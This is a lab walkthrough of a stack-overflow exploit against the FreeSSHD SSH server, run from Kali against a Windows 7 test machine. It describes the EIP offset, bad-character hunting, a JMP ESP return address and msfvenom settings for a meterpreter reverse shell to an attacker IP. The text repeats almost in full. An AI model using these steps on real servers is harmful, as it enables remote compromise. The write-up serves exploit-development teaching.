STACK OVERFLOW: EXPLOITING FREESSHD
- Layout for this exercise:
0 - Introduction
- FreeSSHD is a vulnerable ssh server, documented at Exploit Database:
https://www.exploit-db.com/exploits/1787/
1 - Installing and running FreeSSHD
- The program can be downloaded from Exploit Database, as seen in previous image.
- Once installed and running:
- Checking that the program is running at the victim machine:
- From the attacker, it can be checked that the port 22 is open at the victim machine:
2 - Overwriting the stack
- It is important to notice at the documentation that the exploit has been defined with a prepended string. The purpose of this static header is to allow the initial key exchange happened in any ssh communication:
- Writing a basic Python script to overwrite the stack of the victim with 'A' characters:
- Giving execution permissions to the exploit:
- Starting the program with Immunity Debugger:
- Running the program:
- Launching the exploit from the attacker Kali to the victim Windows 7:
- The program crashes as the stack is overwritten, because it is forced to access a non executable address (0x41414141 is the hexadecimal representation for AAAA):
- Both EIP and ESP are overwritten with 'A's:
3 - Controlling the EIP
- With the purpose of detecting where the EIP is overwritten, an easily recognizable string of 22000 bytes is created with a Ruby script, and sent to the victim.
- In this case, due to the huge size of the string, it is dumped to a file called 'patern':
etc ...
- Now, the string is introduced into the exploit. However, due to its large size, instead of copying directly as text, the file patern is open and the buffer reads from it byte to byte everytime the exploit is executed:
- At this point, FreeSSHD is restarted with Immunity Debugger.
- The exploit is launched:
- The program crashes, but now EIP is overwritten with 326A4231, and ESP with 6A42346A:
- Using another Ruby script, both addresses are located into the memory dump:
- Now, the Python script is modified according to the previous results:
i) the set of 'A's will reach up to the EIP location.
ii) EIP will be overwritten with four 'B's.
iii) because the distance between EIP and ESP is of 8 Bytes (1063-1055=8), a set of four 'X's is introduced.
iv) the rest of the stack will be overwritten with 'C's, where ESP points directly to the beginning of this section.
- Again, FreeSSHD is restarted with Immunity Debugger.
- Launching the exploit:
- As expected, the program crashes. EIP is overwritten with four 'B's, and ESP (00127AD8) points to the start of the 'C' section. The 'C' area will be the best one to locate the future shellcode.
4 - Hunting bad characters
- Bad characters are those ones interpreted literally by the program, so that the program is truncated in the middle of the execution.
- With the purpose of identifying bad characters, a string with all the possible hexadecimal characters is created.
- The Python script is modified, introducing the AllChars string in the 'C's section:
- Again, FreeSSHD is restarted with Immunity Debugger.
- Launching the exploit:
- The program crashes as usual, because EIP points to a non executable area of 'B's:
- However, a close inspection of the memory details that the buffer execution has been interrupted just after the four 'X's, just where the AllChars strings would begin to be executed. This means that the character '0x00' truncates the execution of the rest of the buffer:
- So, '\x00' is clearly a bad character, and it should be removed from the exploit:
- Let's go on searching for more bad characters.
- Again, FreeSSHD is restarted with Immunity Debugger.
- Launching the new exploit:
- The program crashes as expected:
- Now, the execution of AllChars has been completed,from x01 to xFF, meaning that there no more bad characters.
- To sum it up, there is only 1 bad character, that being interpreted literally by the compiler, its immediate effect consists in truncating the normal execution of the program. Once removed, the buffer is executed correctly.
5 - Generating a shellcode
- msfvenom helps generating a shellcode, with these options:
a) payload: -p windows/meterpreter/reverse_tcp
b) local host, attacker's IP = LHOST = 192.168.1.11
c) local port, LPORT = 443, where the attacker listens for a reverse connection
d) format = -f c, language C
e) encoding = -e x86/shikata_ga_nai
f) EXITFUNC = thread, the execution of the shellcode does not shutdowns smail.exe
g) bad characters = -b "\x00"
- The Python script is redefined to include the shellcode. Also, introducing a bunch of NOP (\x90) instructions for ensuring that the shellcode is going to actually be executed.
6 - Redirecting the flow execution
- The goal of this part of the attack is to find an stable way of redirecting the execution flow to the memory section (now, full of 'C's, and pointed by ESP), where the shellcode will be located.
- One way of achieving that goal would be finding an instruction JMP ESP located in a memory section not subject of changes. Let's remember that techniques like ASLR or DEP rebase the memory address allocations in each reboot of the system.
- Looking for executable modules:
- For instance, clicking on USER32.DLL:
- Searching for a JMP ESP command:
- One JMP ESP is detected at 75EE6D52:
- The set of four 'B's on the Python exploit is replaced by the memory address 75EE6D52 , introduced in reverse order '\x53\x6D\xEE\x75' due to the fact that x86 processor architecture follows the Little Endian format (least significant byte occupying the lowest memory position):
7 - Exploiting the victim
- Before launching the final attack, the server FreeSSHD is restarted at the victim Windows 7.
- Then, from the attacker Kali, using msfconsole, a listening session is setup:
- The exploit is launched:
- The attack is successful, because Kali achieves a meterpreter session with the victim:
- Layout for this exercise:
0 - Introduction
- FreeSSHD is a vulnerable ssh server, documented at Exploit Database:
https://www.exploit-db.com/exploits/1787/
1 - Installing and running FreeSSHD
- The program can be downloaded from Exploit Database, as seen in previous image.
- Once installed and running:
- Checking that the program is running at the victim machine:
- From the attacker, it can be checked that the port 22 is open at the victim machine:
2 - Overwriting the stack
- It is important to notice at the documentation that the exploit has been defined with a prepended string. The purpose of this static header is to allow the initial key exchange happened in any ssh communication:
- Writing a basic Python script to overwrite the stack of the victim with 'A' characters:
- Giving execution permissions to the exploit:
- Starting the program with Immunity Debugger:
- Running the program:
- Launching the exploit from the attacker Kali to the victim Windows 7:
- The program crashes as the stack is overwritten, because it is forced to access a non executable address (0x41414141 is the hexadecimal representation for AAAA):
- Both EIP and ESP are overwritten with 'A's:
3 - Controlling the EIP
- With the purpose of detecting where the EIP is overwritten, an easily recognizable string of 22000 bytes is created with a Ruby script, and sent to the victim.
- In this case, due to the huge size of the string, it is dumped to a file called 'patern':
etc ...
- Now, the string is introduced into the exploit. However, due to its large size, instead of copying directly as text, the file patern is open and the buffer reads from it byte to byte everytime the exploit is executed:
- At this point, FreeSSHD is restarted with Immunity Debugger.
- The exploit is launched:
- The program crashes, but now EIP is overwritten with 326A4231, and ESP with 6A42346A:
- Using another Ruby script, both addresses are located into the memory dump:
- Now, the Python script is modified according to the previous results:
i) the set of 'A's will reach up to the EIP location.
ii) EIP will be overwritten with four 'B's.
iii) because the distance between EIP and ESP is of 8 Bytes (1063-1055=8), a set of four 'X's is introduced.
iv) the rest of the stack will be overwritten with 'C's, where ESP points directly to the beginning of this section.
- Again, FreeSSHD is restarted with Immunity Debugger.
- Launching the exploit:
- As expected, the program crashes. EIP is overwritten with four 'B's, and ESP (00127AD8) points to the start of the 'C' section. The 'C' area will be the best one to locate the future shellcode.
4 - Hunting bad characters
- Bad characters are those ones interpreted literally by the program, so that the program is truncated in the middle of the execution.
- With the purpose of identifying bad characters, a string with all the possible hexadecimal characters is created.
- The Python script is modified, introducing the AllChars string in the 'C's section:
- Again, FreeSSHD is restarted with Immunity Debugger.
- Launching the exploit:
- The program crashes as usual, because EIP points to a non executable area of 'B's:
- However, a close inspection of the memory details that the buffer execution has been interrupted just after the four 'X's, just where the AllChars strings would begin to be executed. This means that the character '0x00' truncates the execution of the rest of the buffer:
- So, '\x00' is clearly a bad character, and it should be removed from the exploit:
- Let's go on searching for more bad characters.
- Again, FreeSSHD is restarted with Immunity Debugger.
- Launching the new exploit:
- The program crashes as expected:
- Now, the execution of AllChars has been completed,from x01 to xFF, meaning that there no more bad characters.
- To sum it up, there is only 1 bad character, that being interpreted literally by the compiler, its immediate effect consists in truncating the normal execution of the program. Once removed, the buffer is executed correctly.
0x00 = Null Byte = terminates a string copy operation.
5 - Generating a shellcode
- msfvenom helps generating a shellcode, with these options:
a) payload: -p windows/meterpreter/reverse_tcp
b) local host, attacker's IP = LHOST = 192.168.1.11
c) local port, LPORT = 443, where the attacker listens for a reverse connection
d) format = -f c, language C
e) encoding = -e x86/shikata_ga_nai
f) EXITFUNC = thread, the execution of the shellcode does not shutdowns smail.exe
g) bad characters = -b "\x00"
- The Python script is redefined to include the shellcode. Also, introducing a bunch of NOP (\x90) instructions for ensuring that the shellcode is going to actually be executed.
6 - Redirecting the flow execution
- The goal of this part of the attack is to find an stable way of redirecting the execution flow to the memory section (now, full of 'C's, and pointed by ESP), where the shellcode will be located.
- One way of achieving that goal would be finding an instruction JMP ESP located in a memory section not subject of changes. Let's remember that techniques like ASLR or DEP rebase the memory address allocations in each reboot of the system.
- Looking for executable modules:
- For instance, clicking on USER32.DLL:
- Searching for a JMP ESP command:
- One JMP ESP is detected at 75EE6D52:
- The set of four 'B's on the Python exploit is replaced by the memory address 75EE6D52 , introduced in reverse order '\x53\x6D\xEE\x75' due to the fact that x86 processor architecture follows the Little Endian format (least significant byte occupying the lowest memory position):
7 - Exploiting the victim
- Before launching the final attack, the server FreeSSHD is restarted at the victim Windows 7.
- Then, from the attacker Kali, using msfconsole, a listening session is setup:
- The exploit is launched:
- The attack is successful, because Kali achieves a meterpreter session with the victim:
